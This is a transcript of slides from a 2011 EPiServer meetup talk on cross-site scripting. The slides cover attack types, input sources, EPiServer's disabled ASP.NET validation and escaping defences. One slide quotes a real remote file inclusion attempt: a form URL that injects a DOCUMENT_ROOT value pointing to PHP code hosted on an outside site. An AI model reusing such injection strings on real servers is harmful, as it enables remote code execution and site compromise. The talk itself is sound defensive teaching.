xss - presented at episerver meetup in oslo 25th may 2011
Post on 21-Oct-2014
1.015 views
DESCRIPTION
TRANSCRIPT
XSS – CROSS SITE SCRIPTING
Oslo EPiServer Meetup #7 – 25th May 2011
© Creuna Slide 1
DEFINITION
Cross site scripting is a form of attack where the attacker is able to run arbitrary javascript code in a web page viewed by another user
XSS compromises the client side, not the server
But depending on the nature of the website it can be a serious security risk
© Creuna Slide 2
CONSEQUENCES
XSS may be used to
- Steal session cookies
- Perform any action that the attacked user has rights to do, maybe even without him knowing
- Display false or modified content
- XSS attacks may spread like a software worm, for instance in a social network site. A user posts the
attacking code which infects his friends, they post and so on.
© Creuna Slide 3
TWO TYPES OF XSS
Non persistent:
A user follows a malicious link or form from a dangerous website, email, etc. The vulnerable website writes the XSS attack to the response, and only this user
is affected
Persistent:
The XSS attack code is stored on the vulnerable web site, for instance in a user comment. All subsequent users of the web site may be exposed to the XSS
attack
© Creuna Slide 4
WHERE DOES THE XSS ATTACK COME FROM?
All content from insecure sources is potentially dangerous
- Form submissions
- Urls
- All other sources, RSS feeds, integrated systems, etc.
© Creuna Slide 5
FORM SUBMISSIONS
Dangerous content may come through POST variables
Remember that POST requests do not necessarily originate from a form on a page you served the user, an attacker may craft a webpage or request targeting your web site
DEMO
(Demo showed a simple ASP.NET form writing a submitted text back to the page on postback. By default dangerous POST variables result in an exception in ASP.NET, so we are covered, right? Next demo showed same principle in a minimally modified EPiServer demo site, and the XSS attack was successful. EPiServer turns off ASP.NETs input verification in its default configuration.)
© Creuna Slide 6
URL INPUT
Do you write the value of Request.Url back to your response?
Yes, even ASP.NET itself does that
DEMO
(Demo showed using a url with XSS in it in a standard ASP.NET web site, and we got an exception like with the POST attack. EPiServer proved vulnerable again.)
© Creuna Slide 7
EPISERVER
ASP.NET is normally well secured against XSS
But EPiServer turns this feature off by default
We must always give external input an extra thought in EPiServer, ASP.NETs normal safety net is turned off!
© Creuna Slide 8
HOW DO WE SECURE OURSELVES AGAINS XSS?
Always make sure to escape data from unsecure sources if you are going to write it to the response
This also applies to urls, like Request.Url
Do not trust your own ability to foresee all scenarios so do not write the code for this yourself
Use a well tested and reviewed framework
For instance Microsofts AntiXSS: http://wpl.codeplex.com/
© Creuna Slide 9
ARE YOU USING PHP?
As PHP is a script language, similar attacks may actually compromise the server side
Real world example from one of our projects:
<form method="post" action="/no/?_SERVER%25255bDOCUMENT_ROOT%25255d=http://bungalowsdemo.info/images/test.gif” id="aspnetForm">
This attack would make the server run the PHP code in test.gif, which is not a picture but PHP code
The website bungalowsdemo.info is probably unknowingly attacked and used to host the attack code
© Creuna Slide 10
EXTERNAL SCRIPT FILES
Do you include external script files in your web site?
For instance, do you use Googles/Microsofts CDN for javascript?
Real world example, web statistics tool:
<script src=http://res.xtractor.no/x.js type="text/javascript"></script>
© Creuna Slide 11
EXTERNAL SCRIPT FILES
If you reference external script files you give another domain/source the right to run javascript on your web site
Of course you can trust Googles or Microsofts CDN to deliver proper code
But a different domain may be vulnerable to DNS attacks
An attacker may manipulate DNS on the local machine or network to deliver external scripts from a different source
If all referenced script files are from the same domain as the viewed web page you avoid this vulnerability
© Creuna Slide 12
QUESTIONS?
© Creuna Slide 13